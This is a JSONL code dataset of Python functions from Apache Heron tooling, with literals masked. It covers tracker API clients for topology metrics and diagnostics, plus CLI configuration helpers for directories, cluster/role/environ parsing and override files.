{"signature": "@tornado.gen.coroutine<EOL>def get_instances(cluster, environ, topology, role=None):", "body": "params = dict(cluster=cluster, environ=environ, topology=topology)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(<EOL>create_url(PHYSICALPLAN_URL_FMT), params)<EOL>pplan = yield fetch_url_as_json(request_url)<EOL>instances = pplan['<STR_LIT>'].keys()<EOL>raise tornado.gen.Return(instances)<EOL>", "docstring": "Get the list of instances for the topology from Heron Nest\n:param cluster:\n:param environ:\n:param topology:\n:param role:\n:return:", "id": "f7414:m12"}
{"signature": "@tornado.gen.coroutine<EOL>def get_physical_plan(cluster, environ, topology, role=None):", "body": "params = dict(cluster=cluster, environ=environ, topology=topology)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(<EOL>create_url(PHYSICALPLAN_URL_FMT), params)<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": "Get the physical plan state of a topology in a cluster from tracker\n:param cluster:\n:param environ:\n:param topology:\n:param role:\n:return:", "id": "f7414:m13"}
{"signature": "@tornado.gen.coroutine<EOL>def get_scheduler_location(cluster, environ, topology, role=None):", "body": "params = dict(cluster=cluster, environ=environ, topology=topology)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(<EOL>create_url(SCHEDULER_LOCATION_URL_FMT), params)<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": "Get the scheduler location of a topology in a cluster from tracker\n:param cluster:\n:param environ:\n:param topology:\n:param role:\n:return:", "id": "f7414:m14"}
{"signature": "@tornado.gen.coroutine<EOL>def get_component_exceptionsummary(cluster, environ, topology, component, role=None):", "body": "params = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>component=component)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(<EOL>create_url(EXCEPTION_SUMMARY_URL_FMT), params)<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": "Get summary of exception for a component\n:param cluster:\n:param environ:\n:param topology:\n:param component:\n:param role:\n:return:", "id": "f7414:m15"}
{"signature": "@tornado.gen.coroutine<EOL>def get_component_exceptions(cluster, environ, topology, component, role=None):", "body": "params = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>component=component)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(<EOL>create_url(EXCEPTIONS_URL_FMT), params)<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": "Get exceptions for 'component' for 'topology'\n:param cluster:\n:param environ:\n:param topology:\n:param component:\n:param role:\n:return:", "id": "f7414:m16"}
{"signature": "@tornado.gen.coroutine<EOL>def get_comp_instance_metrics(cluster, environ, topology, component,<EOL>metrics, instances, time_range, role=None):", "body": "params = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>component=component)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(<EOL>create_url(METRICS_URL_FMT), params)<EOL>all_instances = instances if isinstance(instances, list) else [instances]<EOL>for _, metric_name in metrics.items():<EOL><INDENT>request_url = tornado.httputil.url_concat(request_url, dict(metricname=metric_name[<NUM_LIT:0>]))<EOL><DEDENT>for i in all_instances:<EOL><INDENT>request_url = tornado.httputil.url_concat(request_url, dict(instance=i))<EOL><DEDENT>request_url = tornado.httputil.url_concat(request_url, dict(interval=time_range[<NUM_LIT:1>]))<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": "Get the metrics for some instances of a topology from tracker\n:param cluster:\n:param environ:\n:param topology:\n:param component:\n:param metrics:     dict of display name to cuckoo name\n:param instances:\n:param time_range:  2-tuple consisting of start and end of range\n:param role:\n:return:", "id": "f7414:m17"}
{"signature": "@tornado.gen.coroutine<EOL>def get_comp_metrics(cluster, environ, topology, component,<EOL>instances, metricnames, time_range, role=None):", "body": "params = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>component=component)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(<EOL>create_url(METRICS_URL_FMT), params)<EOL>for metric_name in metricnames:<EOL><INDENT>request_url = tornado.httputil.url_concat(request_url, dict(metricname=metric_name))<EOL><DEDENT>for instance in instances:<EOL><INDENT>request_url = tornado.httputil.url_concat(request_url, dict(instance=instance))<EOL><DEDENT>request_url = tornado.httputil.url_concat(request_url, dict(interval=time_range[<NUM_LIT:1>]))<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": "Get the metrics for all the instances of a topology from Heron Nest\n:param cluster:\n:param environ:\n:param topology:\n:param component:\n:param instances:\n:param metricnames:   dict of display name to cuckoo name\n:param time_range:    2-tuple consisting of start and end of range\n:param role:\n:return:", "id": "f7414:m18"}
{"signature": "@tornado.gen.coroutine<EOL>def get_metrics(cluster, environment, topology, timerange, query, role=None):", "body": "params = dict(<EOL>cluster=cluster,<EOL>environ=environment,<EOL>topology=topology,<EOL>starttime=timerange[<NUM_LIT:0>],<EOL>endtime=timerange[<NUM_LIT:1>],<EOL>query=query)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(<EOL>create_url(METRICS_QUERY_URL_FMT), params<EOL>)<EOL>logging.info(\"<STR_LIT>\", request_url)<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": "Get the metrics for a topology from tracker\n:param cluster:\n:param environment:\n:param topology:\n:param timerange:\n:param query:\n:param role:\n:return:", "id": "f7414:m19"}
{"signature": "@tornado.gen.coroutine<EOL>def get_comp_metrics_timeline(cluster, environ, topology, component,<EOL>instances, metricnames, time_range, role=None):", "body": "params = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>component=component)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(create_url(METRICS_TIMELINE_URL_FMT), params)<EOL>if role is not None:<EOL><INDENT>request_url = tornado.httputil.url_concat(request_url, dict(role=role))<EOL><DEDENT>for metric_name in metricnames:<EOL><INDENT>request_url = tornado.httputil.url_concat(request_url, dict(metricname=metric_name))<EOL><DEDENT>for instance in instances:<EOL><INDENT>request_url = tornado.httputil.url_concat(request_url, dict(instance=instance))<EOL><DEDENT>request_url = tornado.httputil.url_concat(<EOL>request_url, dict(starttime=time_range[<NUM_LIT:0>], endtime=time_range[<NUM_LIT:1>]))<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": "Get the minute-by-minute metrics for all instances of a topology from tracker\n:param cluster:\n:param environ:\n:param topology:\n:param component:\n:param instances:\n:param metricnames:   dict of display name to cuckoo name\n:param time_range:    2-tuple consisting of start and end of range\n:param role:\n:return:", "id": "f7414:m20"}
{"signature": "@tornado.gen.coroutine<EOL>def get_topology_info(cluster, environ, topology, role=None):", "body": "params = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(create_url(INFO_URL_FMT), params)<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param role:\n:return:", "id": "f7414:m21"}
{"signature": "@tornado.gen.coroutine<EOL>def get_instance_pid(cluster, environ, topology, instance, role=None):", "body": "params = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>instance=instance)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(create_url(PID_URL_FMT), params)<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param instance:\n:param role:\n:return:", "id": "f7414:m22"}
{"signature": "@tornado.gen.coroutine<EOL>def get_instance_jstack(cluster, environ, topology, instance, role=None):", "body": "params = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>instance=instance)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(<EOL>create_url(JSTACK_URL_FMT), params)<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param instance:\n:param role:\n:return:", "id": "f7414:m23"}
{"signature": "@tornado.gen.coroutine<EOL>def get_instance_mem_histogram(cluster, environ, topology, instance, role=None):", "body": "params = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>instance=instance)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(<EOL>create_url(HISTOGRAM_URL_FMT), params)<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param instance:\n:param role:\n:return:", "id": "f7414:m24"}
{"signature": "@tornado.gen.coroutine<EOL>def run_instance_jmap(cluster, environ, topology, instance, role=None):", "body": "params = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>instance=instance)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(<EOL>create_url(JMAP_URL_FMT), params)<EOL>if role is not None:<EOL><INDENT>request_url = tornado.httputil.url_concat(request_url, dict(role=role))<EOL><DEDENT>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param instance:\n:param role:\n:return:", "id": "f7414:m25"}
{"signature": "def get_container_file_download_url(cluster, environ, topology, container,<EOL>path, role=None):", "body": "params = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>container=container,<EOL>path=path)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(<EOL>create_url(FILE_DOWNLOAD_URL_FMT), params)<EOL>if role is not None:<EOL><INDENT>request_url = tornado.httputil.url_concat(request_url, dict(role=role))<EOL><DEDENT>return request_url<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param container:\n:param path:\n:param role:\n:return:", "id": "f7414:m26"}
{"signature": "@tornado.gen.coroutine<EOL>def get_container_file_data(cluster, environ, topology, container,<EOL>path, offset, length, role=None):", "body": "params = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>container=container,<EOL>path=path,<EOL>offset=offset,<EOL>length=length)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(<EOL>create_url(FILE_DATA_URL_FMT), params)<EOL>if role is not None:<EOL><INDENT>request_url = tornado.httputil.url_concat(request_url, dict(role=role))<EOL><DEDENT>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param container:\n:param path:\n:param offset:\n:param length:\n:param role:\n:return:", "id": "f7414:m27"}
{"signature": "@tornado.gen.coroutine<EOL>def get_filestats(cluster, environ, topology, container, path, role=None):", "body": "params = dict(<EOL>cluster=cluster,<EOL>environ=environ,<EOL>topology=topology,<EOL>container=container,<EOL>path=path)<EOL>if role is not None:<EOL><INDENT>params['<STR_LIT>'] = role<EOL><DEDENT>request_url = tornado.httputil.url_concat(create_url(FILESTATS_URL_FMT), params)<EOL>raise tornado.gen.Return((yield fetch_url_as_json(request_url)))<EOL>", "docstring": ":param cluster:\n:param environ:\n:param topology:\n:param container:\n:param path:\n:param role:\n:return:", "id": "f7414:m28"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def fetch(self, cluster, metric, topology, component, instance, timerange, environ=None):<DEDENT>", "body": "components = [component] if component != \"<STR_LIT:*>\" else (yield get_comps(cluster, environ, topology))<EOL>futures = []<EOL>for comp in components:<EOL><INDENT>query = self.get_query(metric, comp, instance)<EOL>future = get_metrics(cluster, environ, topology, timerange, query)<EOL>futures.append(future)<EOL><DEDENT>results = yield futures<EOL>timelines = []<EOL>for result in results:<EOL><INDENT>timelines.extend(result[\"<STR_LIT>\"])<EOL><DEDENT>result = self.get_metric_response(timerange, timelines, False)<EOL>raise tornado.gen.Return(result)<EOL>", "docstring": ":param cluster:\n:param metric:\n:param topology:\n:param component:\n:param instance:\n:param timerange:\n:param environ:\n:return:", "id": "f7414:c0:m0"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def fetch_max(self, cluster, metric, topology, component, instance, timerange, environ=None):<DEDENT>", "body": "components = [component] if component != \"<STR_LIT:*>\" else (yield get_comps(cluster, environ, topology))<EOL>result = {}<EOL>futures = []<EOL>for comp in components:<EOL><INDENT>query = self.get_query(metric, comp, instance)<EOL>max_query = \"<STR_LIT>\" % query<EOL>future = get_metrics(cluster, environ, topology, timerange, max_query)<EOL>futures.append(future)<EOL><DEDENT>results = yield futures<EOL>data = self.compute_max(results)<EOL>result = self.get_metric_response(timerange, data, True)<EOL>raise tornado.gen.Return(result)<EOL>", "docstring": ":param cluster:\n:param metric:\n:param topology:\n:param component:\n:param instance:\n:param timerange:\n:param environ:\n:return:", "id": "f7414:c0:m1"}
{"signature": "@tornado.gen.coroutine<EOL><INDENT>def fetch_backpressure(self, cluster, metric, topology, component, instance,timerange, is_max, environ=None):<DEDENT>", "body": "instances = yield get_instances(cluster, environ, topology)<EOL>if component != \"<STR_LIT:*>\":<EOL><INDENT>filtered_inst = [instance for instance in instances if instance.split(\"<STR_LIT:_>\")[<NUM_LIT:2>] == component]<EOL><DEDENT>else:<EOL><INDENT>filtered_inst = instances<EOL><DEDENT>futures_dict = {}<EOL>for inst in filtered_inst:<EOL><INDENT>query = queries.get(metric).format(inst)<EOL>futures_dict[inst] = get_metrics(cluster, environ, topology, timerange, query)<EOL><DEDENT>res = yield futures_dict<EOL>if not is_max:<EOL><INDENT>timelines = []<EOL>for key in res:<EOL><INDENT>result = res[key]<EOL>if len(result[\"<STR_LIT>\"]) > <NUM_LIT:0>:<EOL><INDENT>result[\"<STR_LIT>\"][<NUM_LIT:0>][\"<STR_LIT>\"] = key<EOL><DEDENT>timelines.extend(result[\"<STR_LIT>\"])<EOL><DEDENT>result = self.get_metric_response(timerange, timelines, is_max)<EOL><DEDENT>else:<EOL><INDENT>data = self.compute_max(res.values())<EOL>result = self.get_metric_response(timerange, data, is_max)<EOL><DEDENT>raise tornado.gen.Return(result)<EOL>", "docstring": ":param cluster:\n:param metric:\n:param topology:\n:param component:\n:param instance:\n:param timerange:\n:param isMax:\n:param environ:\n:return:", "id": "f7414:c0:m2"}
{"signature": "def compute_max(self, multi_ts):", "body": "if len(multi_ts) > <NUM_LIT:0> and len(multi_ts[<NUM_LIT:0>][\"<STR_LIT>\"]) > <NUM_LIT:0>:<EOL><INDENT>keys = multi_ts[<NUM_LIT:0>][\"<STR_LIT>\"][<NUM_LIT:0>][\"<STR_LIT:data>\"].keys()<EOL>timelines = ([res[\"<STR_LIT>\"][<NUM_LIT:0>][\"<STR_LIT:data>\"][key] for key in keys] for res in multi_ts)<EOL>values = (max(v) for v in zip(*timelines))<EOL>return dict(zip(keys, values))<EOL><DEDENT>return {}<EOL>", "docstring": ":param multi_ts:\n:return:", "id": "f7414:c0:m3"}
{"signature": "def get_metric_response(self, timerange, data, isMax):", "body": "if isMax:<EOL><INDENT>return dict(<EOL>status=\"<STR_LIT:success>\",<EOL>starttime=timerange[<NUM_LIT:0>],<EOL>endtime=timerange[<NUM_LIT:1>],<EOL>result=dict(timeline=[dict(data=data)])<EOL>)<EOL><DEDENT>return dict(<EOL>status=\"<STR_LIT:success>\",<EOL>starttime=timerange[<NUM_LIT:0>],<EOL>endtime=timerange[<NUM_LIT:1>],<EOL>result=dict(timeline=data)<EOL>)<EOL>", "docstring": ":param timerange:\n:param data:\n:param isMax:\n:return:", "id": "f7414:c0:m4"}
{"signature": "def get_query(self, metric, component, instance):", "body": "q = queries.get(metric)<EOL>return q.format(component, instance)<EOL>", "docstring": ":param metric:\n:param component:\n:param instance:\n:return:", "id": "f7414:c0:m5"}
{"signature": "def create_tar(tar_filename, files, config_dir, config_files):", "body": "with contextlib.closing(tarfile.open(tar_filename, '<STR_LIT>', dereference=True)) as tar:<EOL><INDENT>for filename in files:<EOL><INDENT>if os.path.isfile(filename):<EOL><INDENT>tar.add(filename, arcname=os.path.basename(filename))<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % filename)<EOL><DEDENT><DEDENT>if os.path.isdir(config_dir):<EOL><INDENT>tar.add(config_dir, arcname=get_heron_sandbox_conf_dir())<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % config_dir)<EOL><DEDENT>for filename in config_files:<EOL><INDENT>if os.path.isfile(filename):<EOL><INDENT>arcfile = os.path.join(get_heron_sandbox_conf_dir(), os.path.basename(filename))<EOL>tar.add(filename, arcname=arcfile)<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % filename)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Create a tar file with a given set of files", "id": "f7415:m0"}
{"signature": "def get_subparser(parser, command):", "body": "<EOL>subparsers_actions = [action for action in parser._actions<EOL>if isinstance(action, argparse._SubParsersAction)]<EOL>for subparsers_action in subparsers_actions:<EOL><INDENT>for choice, subparser in subparsers_action.choices.items():<EOL><INDENT>if choice == command:<EOL><INDENT>return subparser<EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "Retrieve the given subparser from parser", "id": "f7415:m1"}
{"signature": "def cygpath(x):", "body": "command = ['<STR_LIT>', '<STR_LIT>', x]<EOL>p = subprocess.Popen(command, stdout=subprocess.PIPE)<EOL>result = p.communicate()<EOL>output = result[<NUM_LIT:0>]<EOL>lines = output.split(\"<STR_LIT:\\n>\")<EOL>return lines[<NUM_LIT:0>]<EOL>", "docstring": "normalized class path on cygwin", "id": "f7415:m2"}
{"signature": "def identity(x):", "body": "return x<EOL>", "docstring": "identity function", "id": "f7415:m3"}
{"signature": "def normalized_class_path(x):", "body": "if sys.platform == '<STR_LIT>':<EOL><INDENT>return cygpath(x)<EOL><DEDENT>return identity(x)<EOL>", "docstring": "normalize path", "id": "f7415:m4"}
{"signature": "def get_classpath(jars):", "body": "return '<STR_LIT::>'.join(map(normalized_class_path, jars))<EOL>", "docstring": "Get the normalized class path of all jars", "id": "f7415:m5"}
{"signature": "def get_heron_dir():", "body": "go_above_dirs = <NUM_LIT:9><EOL>path = \"<STR_LIT:/>\".join(os.path.realpath(__file__).split('<STR_LIT:/>')[:-go_above_dirs])<EOL>return normalized_class_path(path)<EOL>", "docstring": "This will extract heron directory from .pex file.\n\nFor example,\nwhen __file__ is '/Users/heron-user/bin/heron/heron/tools/common/src/python/utils/config.pyc', and\nits real path is '/Users/heron-user/.heron/bin/heron/tools/common/src/python/utils/config.pyc',\nthe internal variable ``path`` would be '/Users/heron-user/.heron', which is the heron directory\n\nThis means the variable `go_above_dirs` below is 9.\n\n:return: root location of the .pex file", "id": "f7415:m6"}
{"signature": "def get_zipped_heron_dir():", "body": "go_above_dirs = <NUM_LIT:7><EOL>path = \"<STR_LIT:/>\".join(os.path.realpath(__file__).split('<STR_LIT:/>')[:-go_above_dirs])<EOL>return normalized_class_path(path)<EOL>", "docstring": "This will extract heron directory from .pex file,\nwith `zip_safe = False' Bazel flag added when building this .pex file\n\nFor example,\nwhen __file__'s real path is\n  '/Users/heron-user/.pex/code/xxxyyy/heron/tools/common/src/python/utils/config.pyc', and\nthe internal variable ``path`` would be '/Users/heron-user/.pex/code/xxxyyy/',\nwhich is the root PEX directory\n\nThis means the variable `go_above_dirs` below is 7.\n\n:return: root location of the .pex file.", "id": "f7415:m7"}
{"signature": "def get_heron_bin_dir():", "body": "bin_path = os.path.join(get_heron_dir(), BIN_DIR)<EOL>return bin_path<EOL>", "docstring": "This will provide heron bin directory from .pex file.\n:return: absolute path of heron lib directory", "id": "f7415:m8"}
{"signature": "def get_heron_conf_dir():", "body": "conf_path = os.path.join(get_heron_dir(), CONF_DIR)<EOL>return conf_path<EOL>", "docstring": "This will provide heron conf directory from .pex file.\n:return: absolute path of heron conf directory", "id": "f7415:m9"}
{"signature": "def get_heron_lib_dir():", "body": "lib_path = os.path.join(get_heron_dir(), LIB_DIR)<EOL>return lib_path<EOL>", "docstring": "This will provide heron lib directory from .pex file.\n:return: absolute path of heron lib directory", "id": "f7415:m10"}
{"signature": "def get_heron_release_file():", "body": "return os.path.join(get_heron_dir(), RELEASE_YAML)<EOL>", "docstring": "This will provide the path to heron release.yaml file\n:return: absolute path of heron release.yaml file in CLI", "id": "f7415:m11"}
{"signature": "def get_zipped_heron_release_file():", "body": "return os.path.join(get_zipped_heron_dir(), ZIPPED_RELEASE_YAML)<EOL>", "docstring": "This will provide the path to heron release.yaml file.\nTo be used for .pex file built with `zip_safe = False` flag.\nFor example, `heron-ui'.\n\n:return: absolute path of heron release.yaml file", "id": "f7415:m12"}
{"signature": "def get_heron_cluster_conf_dir(cluster, default_config_path):", "body": "return os.path.join(default_config_path, cluster)<EOL>", "docstring": "This will provide heron cluster config directory, if config path is default\n:return: absolute path of heron cluster conf directory", "id": "f7415:m13"}
{"signature": "def get_heron_sandbox_conf_dir():", "body": "return SANDBOX_CONF_DIR<EOL>", "docstring": "This will provide heron conf directory in the sandbox\n:return: relative path of heron sandbox conf directory", "id": "f7415:m14"}
{"signature": "def get_heron_libs(local_jars):", "body": "heron_lib_dir = get_heron_lib_dir()<EOL>heron_libs = [os.path.join(heron_lib_dir, f) for f in local_jars]<EOL>return heron_libs<EOL>", "docstring": "Get all the heron lib jars with the absolute paths", "id": "f7415:m15"}
{"signature": "def get_heron_cluster(cluster_role_env):", "body": "return cluster_role_env.split('<STR_LIT:/>')[<NUM_LIT:0>]<EOL>", "docstring": "Get the cluster to which topology is submitted", "id": "f7415:m16"}
{"signature": "def parse_cluster_role_env(cluster_role_env, config_path):", "body": "parts = cluster_role_env.split('<STR_LIT:/>')[:<NUM_LIT:3>]<EOL>if not os.path.isdir(config_path):<EOL><INDENT>Log.error(\"<STR_LIT>\" % config_path)<EOL>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if len(parts) < <NUM_LIT:3>:<EOL><INDENT>cli_conf_file = os.path.join(config_path, CLIENT_YAML)<EOL>if not os.path.isfile(cli_conf_file):<EOL><INDENT>if len(parts) == <NUM_LIT:1>:<EOL><INDENT>parts.append(getpass.getuser())<EOL><DEDENT>if len(parts) == <NUM_LIT:2>:<EOL><INDENT>parts.append(ENVIRON)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>cli_confs = {}<EOL>with open(cli_conf_file, '<STR_LIT:r>') as conf_file:<EOL><INDENT>tmp_confs = yaml.load(conf_file)<EOL>if tmp_confs is not None:<EOL><INDENT>cli_confs = tmp_confs<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\" % (CLIENT_YAML))<EOL><DEDENT><DEDENT>if len(parts) == <NUM_LIT:1>:<EOL><INDENT>if (ROLE_REQUIRED in cli_confs) and (cli_confs[ROLE_REQUIRED] is True):<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>% (cluster_role_env, ROLE_REQUIRED, cli_conf_file))<EOL><DEDENT>else:<EOL><INDENT>parts.append(getpass.getuser())<EOL><DEDENT><DEDENT>if len(parts) == <NUM_LIT:2>:<EOL><INDENT>if (ENV_REQUIRED in cli_confs) and (cli_confs[ENV_REQUIRED] is True):<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>% (cluster_role_env, ENV_REQUIRED, cli_conf_file))<EOL><DEDENT>else:<EOL><INDENT>parts.append(ENVIRON)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if len(parts[<NUM_LIT:0>]) == <NUM_LIT:0> or len(parts[<NUM_LIT:1>]) == <NUM_LIT:0> or len(parts[<NUM_LIT:2>]) == <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>return (parts[<NUM_LIT:0>], parts[<NUM_LIT:1>], parts[<NUM_LIT:2>])<EOL>", "docstring": "Parse cluster/[role]/[environ], supply default, if not provided, not required", "id": "f7415:m17"}
{"signature": "def get_cluster_role_env(cluster_role_env):", "body": "parts = cluster_role_env.split('<STR_LIT:/>')[:<NUM_LIT:3>]<EOL>if len(parts) == <NUM_LIT:3>:<EOL><INDENT>return (parts[<NUM_LIT:0>], parts[<NUM_LIT:1>], parts[<NUM_LIT:2>])<EOL><DEDENT>if len(parts) == <NUM_LIT:2>:<EOL><INDENT>return (parts[<NUM_LIT:0>], parts[<NUM_LIT:1>], \"<STR_LIT>\")<EOL><DEDENT>if len(parts) == <NUM_LIT:1>:<EOL><INDENT>return (parts[<NUM_LIT:0>], \"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT>return (\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>", "docstring": "Parse cluster/[role]/[environ], supply empty string, if not provided", "id": "f7415:m18"}
{"signature": "def direct_mode_cluster_role_env(cluster_role_env, config_path):", "body": "<EOL>cli_conf_file = os.path.join(config_path, CLIENT_YAML)<EOL>if not os.path.isfile(cli_conf_file):<EOL><INDENT>return True<EOL><DEDENT>client_confs = {}<EOL>with open(cli_conf_file, '<STR_LIT:r>') as conf_file:<EOL><INDENT>client_confs = yaml.load(conf_file)<EOL>if not client_confs:<EOL><INDENT>return True<EOL><DEDENT>role_present = True if len(cluster_role_env[<NUM_LIT:1>]) > <NUM_LIT:0> else False<EOL>if ROLE_REQUIRED in client_confs and client_confs[ROLE_REQUIRED] and not role_present:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>% (cluster_role_env, ROLE_REQUIRED, cli_conf_file))<EOL><DEDENT>environ_present = True if len(cluster_role_env[<NUM_LIT:2>]) > <NUM_LIT:0> else False<EOL>if ENV_REQUIRED in client_confs and client_confs[ENV_REQUIRED] and not environ_present:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>% (cluster_role_env, ENV_REQUIRED, cli_conf_file))<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Check cluster/[role]/[environ], if they are required", "id": "f7415:m19"}
{"signature": "def server_mode_cluster_role_env(cluster_role_env, config_map):", "body": "cmap = config_map[cluster_role_env[<NUM_LIT:0>]]<EOL>role_present = True if len(cluster_role_env[<NUM_LIT:1>]) > <NUM_LIT:0> else False<EOL>if ROLE_KEY in cmap and cmap[ROLE_KEY] and not role_present:<EOL><INDENT>raise Exception(\"<STR_LIT>\"% (cluster_role_env))<EOL><DEDENT>environ_present = True if len(cluster_role_env[<NUM_LIT:2>]) > <NUM_LIT:0> else False<EOL>if ENVIRON_KEY in cmap and cmap[ENVIRON_KEY] and not environ_present:<EOL><INDENT>raise Exception(\"<STR_LIT>\"% (cluster_role_env))<EOL><DEDENT>return True<EOL>", "docstring": "Check cluster/[role]/[environ], if they are required", "id": "f7415:m20"}
{"signature": "def defaults_cluster_role_env(cluster_role_env):", "body": "if len(cluster_role_env[<NUM_LIT:1>]) == <NUM_LIT:0> and len(cluster_role_env[<NUM_LIT:2>]) == <NUM_LIT:0>:<EOL><INDENT>return (cluster_role_env[<NUM_LIT:0>], getpass.getuser(), ENVIRON)<EOL><DEDENT>return (cluster_role_env[<NUM_LIT:0>], cluster_role_env[<NUM_LIT:1>], cluster_role_env[<NUM_LIT:2>])<EOL>", "docstring": "if role is not provided, supply userid\nif environ is not provided, supply 'default'", "id": "f7415:m21"}
{"signature": "def parse_override_config_and_write_file(namespace):", "body": "overrides = parse_override_config(namespace)<EOL>try:<EOL><INDENT>tmp_dir = tempfile.mkdtemp()<EOL>override_config_file = os.path.join(tmp_dir, OVERRIDE_YAML)<EOL>with open(override_config_file, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(yaml.dump(overrides))<EOL><DEDENT>return override_config_file<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % str(e))<EOL><DEDENT>", "docstring": "Parse the command line for overriding the defaults and\ncreate an override file.", "id": "f7415:m22"}
{"signature": "def parse_override_config(namespace):", "body": "overrides = dict()<EOL>for config in namespace:<EOL><INDENT>kv = config.split(\"<STR_LIT:=>\")<EOL>if len(kv) != <NUM_LIT:2>:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % config)<EOL><DEDENT>if kv[<NUM_LIT:1>] in ['<STR_LIT:true>', '<STR_LIT:True>', '<STR_LIT>']:<EOL><INDENT>overrides[kv[<NUM_LIT:0>]] = True<EOL><DEDENT>elif kv[<NUM_LIT:1>] in ['<STR_LIT:false>', '<STR_LIT:False>', '<STR_LIT>']:<EOL><INDENT>overrides[kv[<NUM_LIT:0>]] = False<EOL><DEDENT>else:<EOL><INDENT>overrides[kv[<NUM_LIT:0>]] = kv[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>return overrides<EOL>", "docstring": "Parse the command line for overriding the defaults", "id": "f7415:m23"}
